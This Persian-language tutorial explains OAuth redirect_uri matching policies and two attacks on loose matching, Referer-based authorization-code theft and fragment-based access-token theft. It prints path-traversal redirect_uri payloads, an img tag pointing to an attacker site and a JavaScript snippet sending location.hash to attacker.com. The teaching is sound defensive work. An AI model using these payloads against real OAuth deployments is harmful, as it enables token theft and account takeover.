در دومین قسمت از فصل امنیت OAuth به آسیب پذیری دست کاری Redirect URI میپردازیم. در OAuth وظیفه سنجش صحت redirect_uri
بر عهده Authorization Server است. در واقع Authorization Server با مطابقت دادن redirect_uri
درخواستی طبق redirect_uri
ثبت شده، عملیات صحت سنجی را انجام میدهد. بررسی مطابقت redirect_uri
با سیاست های مختلفی انجام میشود که در ادامه به معرفی آنها میپردازیم.
روش های مختلف تطبیق
هرکدام از روش های مختلف تطبیق، براساس قسمتهای مختلفی از URL کار میکنند. قسمتهای مختلف یک URL را میتوانید در تصویر زیر مشاهده کنید:
· تطبیق دقیق (exact matching):
در این شیوه پارامتر redirect_uri
دریافتی با مقدار ثبت شده مقایسه میشود و اگر دقیقا با هم برابر نبودند، یک پیغام خطا نمایش داده میشود. قطعه کد زیر نمونهای از پیاده سازی این روش را نشان میدهد:
if (req.query.redirect_uri != client.redirect_uri) {
console.log(‘Mismatched redirect URI, expected %s got %s’,
client.redirect_uri, req.query.redirect_uri);
res.render(‘error’, {error: ‘Invalid redirect URI’});
return;
}
· تطبیق مجاز شمردن subdirectory:
در این روش redirect_uri
درخواستی باید دقیقا شامل redirect_uri
ثبت شده باشد. برای سادهتر شدن موضوع فرض کنید که redirect_uri
ثبت شده برابر با https://a.example.com/path
باشد. در این حالت، آدرسی معتبر است که در ابتدای آن https://a.example.com/path
وجود داشته باشد. نمونهای از این آدرس عبارت است از:
https://a.example.com/path/subdir/a
مثالهای زیر نمونهای از آدرس های غیرمنطبق با این روش هستند:
https://a.example.com/ba
http://a.example.com/path
https://example.com/path
· تطبیق مجاز شمردن subdomain:
در این روش اجازه استفاده از subdomain های متفاوت در redirect_uri
به کاربر داده میشود. نکته موجود درباره این روش این است که redirect_uri
های موجود باید در همه قسمت ها به جز subdomain با هم مطابقت داشته باشند تا بتوان از یک redirect_uri
درخواستی استفاده کرد. برای نمونه اگر redirect_uri
ثبت شده آدرس https://example.com/path
باشد آدرس https://sub.example.com/path
با این آدرس تطبیق دارد. مثالهای زیر نمونه هایی از مطابق نبودن با این آدرس در این روش تطبیق هستند.
https://sub.example.org/path
https://sub.example.com/ba
http://sub.example.com/path
· تطبیق ترکیبی مجاز شمردن subdirectory و subdomain:
این روش ترکیب دو روش قبلی بوده و انعطاف پذیری در زیر دامنه و path درخواستی را به صورت هم زمان به همراه میآورد. برای مثال هنگامی که redirect_uri
ثبت شده برابر با https://example.com/path
باشد، آدرس های زیر با آن مطابقت دارند.
https://example.com/path/subdir/a
https://sub.example.com/path
چندین نمونه از آدرس هایی که بر اساس این روش غیرمنطبق هستند عبارتند از:
https://example.org/path/subdir
https://example.com:8081/path/subdir
https://a.example.com/ba
جدول مقایسه ای زیر نتیجه تطبیق redirect_uri
ثبت شده https://example.com/path
با چندین آدرس و به شیوه های مختلف است که مشاهده آن به درک بهتر این قسمت کمک میکند.
تنها روش همواره امن برای اعتبارسنجی redirect_uri
روش تطبیق دقیق است. گرچه سایر روش های اعتبارسنجی انعطاف پذیری مطلوبی را برای توسعهدهندگان کلاینت هنگام مدیریت برنامههای تحت توسعه به ارمغان میآورد، اما تمامی این شیوه ها آسیب پذیر و قابل exploit هستند.
اگر به جای روش تطبیق دقیق از سایر شیوه های اعتبارسنجی استفاده شود، میتواند مخاطراتی را با خود به همراه داشته باشد که در ادامه دو حمله روی شیوه های اعتبارسنجی redirect_uri را به صورت کامل مورد بررسی قرار میدهیم.
سرقت کد authorization از طریق Header Referrer
این حمله برای grant نوع authorization code طراحی شده و بر مبنای نشر اطلاعات در هدر HTTP Referrer عمل میکند.
فرض کنیم شرکت www.thecloudcompany.biz امکان رجیستر کلاینت های OAuth را فراهم کرده و Authorization Server آن از شیوه تطبیق مجاز شمردنsubdirectory برای اعتبارسنجی redirect_uri استفاده میکند. کلاینت OAuth آدرس زیر را به عنوان redirect_uri ثبت کرده است:
https://theoauthclient.com/oauth/oauthprovider/callback
درخواستی که از سمت کلاینت OAuth به Authorization Server ارسال میشود به صورت زیر خواهد بود:
https://www.thecloudcompany.biz/authorize?response_type=code&client_id=CLIENT_ID&scope=SCOPES&state=STATE&redirect_uri=https://theoauthclient.com/oauth/oauthprovider/callback
همان طور که مشاهده میکنید در درخواست بالا، پارامتر redirect_uri
صفحهای که به آن redirect خواهیم شد را مشخص میکند. حال اگر بتوانیم در صفحه ی دیگری از این سایت یک آسیب پذیری پیدا کنیم که امکان اضافه کردن یک تگ HTML مانند img یا iframe را به ما بدهد، میتوانیم از آن صفحه برای سرقت Access Token استفاده کنیم. برای مثال فرض کنید که در آدرس زیر یک تگ img داشته باشیم که عکسی در وبسایت خودمان را بارگذاری میکند.
https://theoauthclient.com/usergeneratedcontent/attackerpage.html
آدرس بالا در سایت کلاینت است اما با توجه با این که آدرس با استفاده از تطبیق مجاز شمردنsubdirectory بررسی میشود با redirect_uri رجیستر شده که در ابتدای این بخش به آن اشاره شد مطابقت ندارد. برای این کار کافی است تا مانند مثال زیر از آدرس دهی نسبی استفاده کنیم و به آسانی این تطبیق را دور بزنیم.
https://www.thecloudcompany.biz/authorize?response_type=code&client_id=CLIENT_ID&scope=SCOPES&state=STATE&redirect_uri=https://theoauthclient.com/oauth/oauthprovider/callback/../../../usergeneratedcontent/attackerpage.html
اتفاقی که در آدرس بالا رخ میدهد این است که در واقع عبارت ../
معادل رفتن به یک directory قبل تر است. حال در مثال بالا اگر سه بار عبارت ../
را استفاده کنیم به http://theoauthclient.com/
میرسیم که در واقع دایرکتوری ریشه است و چون بعد از عبارت های ../
عبارت usergeneratedcontent/attackerpage.html
نوشته شده بود در واقع آدرسی که در نهایت به آن خواهیم رسید http://theoauthclient.com/usergeneratedcontent/attackerpage.html
که دقیقا صفحه مورد نظر مهاجم است.
redirect_uri=https://theoauthclient.com/oauth/oauthprovider/callback/../../../usergeneratedcontent/attackerpage.html
بنابراین آدرس redirect_uri
بالا با استفاده از Path Traversal به ریشه ی سایت رفته و سپس به صفحه ی ایجاد شده توسط مهاجم میرسد. استفاده ی Authorization Server از مدل Trust On First Use (TOFU) موجب جلوگیری از نمایش صفحه authorization به قربانی میشود و در این حالت حمله ی موردنظر خطرناک خواهد بود.
در پاسخ Authorization Server، از طریق یک HTTP 302 redirect صفحه ی مهاجم بازدید شده و درخواست زیر توسط مرورگر کاربر به سایت کلاینت ارسال میشود.
GET
/oauth/oauthprovider/callback/../../../usergeneratedcontent/attackerpage.html?
code=SyWhvRM2&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1 HTTP/1.1
Host: theoauthclient.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0)
Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive
نمونهای از محتوای صفحه دست کاری شده توسط مهاجم در مثال زیر قابلمشاهده است:
<html>
<h1>Authorization in progress </h1>
<img src=”https://attackersite.com/”>
</html>
هنگامی که مرورگر برای بارگذاری عکس بالا به سایت مهاجم درخواست میزند، کد authorization از طریق هدر Referer مورد سرقت قرار گرفته و به دست مهاجم میرسد. تصویر زیر روند انجام این حمله را نشان میدهد:
سرقت توکن دسترسی از طریق URI fragment
این حمله برای grant نوع implicit طراحی شده و بر مبنای نشر اطلاعات در URI fragment عمل میکند. منظور از URI Fragment قسمتی از URI است که بعد از علامت # قرار میگیرد و جاوااسکریپت به آن دسترسی دارد.
در این حمله صفحه مهاجم به صورت مستقیم به Access Token دست مییابد. شیوه انجام این حمله بسیار مشابه با حمله پیشین بوده و هنگامی که Authorization Server پاسخ HTTP 302 redirect را ارسال میکند، مرورگر کاربر درخواستی مانند مثال زیر را به کلاینت ارسال میکند:
GET
/oauth/oauthprovider/callback/../../../usergeneratedcontent/attackerpage.html#access_token=2YotnFZFEjr1zCsicMWpAA&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1
HTTP/1.1
Host: theoauthclient.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0)
Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive
مهاجم با یک کد ساده جاوااسکریپت میتواند به مقدار Access Token دست یابد و پس از ذخیرهسازی آن کاربر را به هر آدرسی دلخواه منتقل نماید. نمونهای از محتوای صفحه مهاجم میتواند به صورت زیر باشد:
<html>
<script>
var access_token = location.hash;
var url = 'http://attacker.com/?access_token='+access_token;
var request = new XMLHttpRequest();
request.open('GET', url);
request.send();
</script>
</html>
همانطور که در کد بالا مشاهده میکنید هکر با استفاده از جاوااسکریپت، URI Fragment را در متغیری با نام access_token
می ریزد و سپس با استفاده از یک درخواست GET، مقدار Access Token را به سایت خود ارسال میکند.
این دو حمله بر مبنای استفاده Authorization Server از شیوه تطبیق مجاز شمردنsubdirectory برای اعتبارسنجی redirect_uri
انجام شده است. در شرایطی که Authorization Server از شیوه تطبیق مجاز شمردنsubdomain استفاده کرده باشد و هکر در کلاینت OAuth به طریقی امکان ایجاد زیر دامنه یا تحت کنترل گرفتن یکی از زیردامنه های موجود روی دامنه redirect_uri
را پیدا کند، این حمله امکانپذیر خواهد بود.
برای نمونه، در حالتی که redirect_uri
روی دامنه https://theoauthclient.com
ثبت شده باشد و صفحه ی تحت کنترل مهاجم روی آدرس https://attacker.theoauthclient.com
باشد، آدرس URL مورد استفاده مهاجم به صورت زیر خواهد بود:
https://www.thecloudcompany.biz/authorize?response_type=code&client_id=CLIENT_ID&scope=SCOPES&state=STATE&redirect_uri=https://attacker.theoauthclient.com
صفحه https://attacker.theoauthclient.com
مشابه صفحه ی attackerpage.html
در مثال قبلی خواهد بود.